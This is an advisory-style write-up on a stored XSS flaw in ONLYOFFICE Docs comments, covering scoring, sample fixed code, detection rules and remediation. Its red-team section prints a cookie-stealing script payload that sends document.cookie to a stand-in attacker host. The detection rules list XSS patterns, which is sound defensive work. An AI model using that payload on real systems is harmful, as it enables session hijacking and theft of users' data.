CVE-2025-68917

Executive Summary

CVE-2025-68917 is a stored Cross-Site Scripting (XSS) vulnerability in ONLYOFFICE Docs, specifically within the comment editing form's textarea component. An authenticated attacker can inject malicious JavaScript code into a document comment. When other users view the document and the comment is rendered, the injected script executes in their browser context. This can lead to session hijacking, data exfiltration, or unauthorized actions within the ONLYOFFICE platform. The vulnerability is present in versions prior to 9.2.1 and is classified as medium severity (CVSS 6.4). No public proof-of-concept or exploit code is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low - No special conditions are required.
• Privileges Required (PR): Low - An attacker needs a valid user account to create or edit comments.
• User Interaction (UI): Required - The victim must view the document containing the malicious comment.
• Scope (S): Changed - The impact extends beyond the vulnerable component, affecting the user's browser session.
• Confidentiality (C): Low - Limited data exposure possible.
• Integrity (I): Low - Limited ability to modify data.
• Availability (A): Low - Limited impact on service availability.

Deep Dive & Mechanics

The vulnerability resides in the comment editing form of ONLYOFFICE Docs. The application fails to properly sanitize user-supplied input within the textarea element used for composing comments. When a user submits a comment containing HTML or JavaScript code, the server stores this input without adequate encoding or validation.

Upon retrieval, the comment is rendered in the document viewer interface. The injected script is executed in the context of the victim's browser session, allowing the attacker to perform actions such as:

• Stealing session cookies.
• Redirecting the user to a malicious site.
• Modifying the document content on the client-side.
• Performing actions on behalf of the victim.

The vulnerability is specifically tied to the DocumentServer component, which handles document collaboration and comment storage.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-9.2.1): The vulnerable code likely directly inserts the comment text into the DOM without sanitization. A simplified example:

// Vulnerable: Direct insertion of user input
function renderComment(commentText) {
    document.getElementById('commentArea').innerHTML = commentText;
}

Patched Code (9.2.1+): The patched version sanitizes the input before rendering. A simplified example:

// Patched: Sanitize input before insertion
function renderComment(commentText) {
    const sanitized = DOMPurify.sanitize(commentText);
    document.getElementById('commentArea').innerHTML = sanitized;
}

The fix likely involves implementing output encoding or using a sanitization library like DOMPurify to strip malicious content.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on an ONLYOFFICE Docs instance (version < 9.2.1).
• Access to a document with commenting enabled.

Exploitation Steps:

1. Log in to the ONLYOFFICE instance.
2. Open a document where you have permission to add comments.
3. In the comment textarea, inject a payload such as:

   <img src=x onerror=alert('XSS')>
   

   or a more sophisticated payload to steal cookies:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the comment.
5. When another user views the document, the script executes.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection Steps:

1. Monitor for unusual comment content in logs. Look for HTML tags or JavaScript keywords in comment fields.
2. Review web application firewall (WAF) logs for blocked XSS attempts.
3. Check for unexpected outbound network connections from the ONLYOFFICE server or client browsers.
4. Verify that the ONLYOFFICE Docs version is 9.2.1 or later.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown domains from client browsers, especially containing cookie data.
  • Unusual patterns in comment submission requests (e.g., POST /documentserver/comment with HTML/JS payloads).
• File/System IOCs:
  • Log entries showing comment content with <script>, <img onerror>, or similar tags.
  • Modified document metadata or unexpected changes to document content.
• Behavioral IOCs:
  • Users reporting unexpected pop-ups or redirects when viewing documents.
  • Unauthorized actions performed under a user's session.

Detection Engineering

YARA Rule

rule detect_onlyoffice_xss_comment {
    meta:
        description = "Detects XSS payloads in ONLYOFFICE comment fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68917"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=/is
        $xss3 = /<svg[^>]*onload\s*=/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: ONLYOFFICE Comment XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in ONLYOFFICE comment submissions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: onlyoffice
detection:
    selection:
        http.method: 'POST'
        http.url: '/documentserver/comment*'
        http.body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in comments (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ONLYOFFICE Comment XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"/documentserver/comment"; http_uri; pcre:"/(<script|<img[^>]*onerror|<svg[^>]*onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update ONLYOFFICE Docs to version 9.2.1 or later. This is the primary fix.
2. WAF Rules: Deploy or update web application firewall rules to block common XSS payloads in comment fields.
3. Input Validation: If immediate patching is not possible, implement server-side input validation to strip or encode HTML tags from comment text.

Long-Term Measures:

1. Security Hardening: Apply the principle of least privilege to user roles. Limit who can add comments if possible.
2. Monitoring: Enable detailed logging for comment creation and review logs regularly.
3. User Training: Educate users about the risks of clicking on suspicious links or interacting with unexpected content in documents.

Valters IT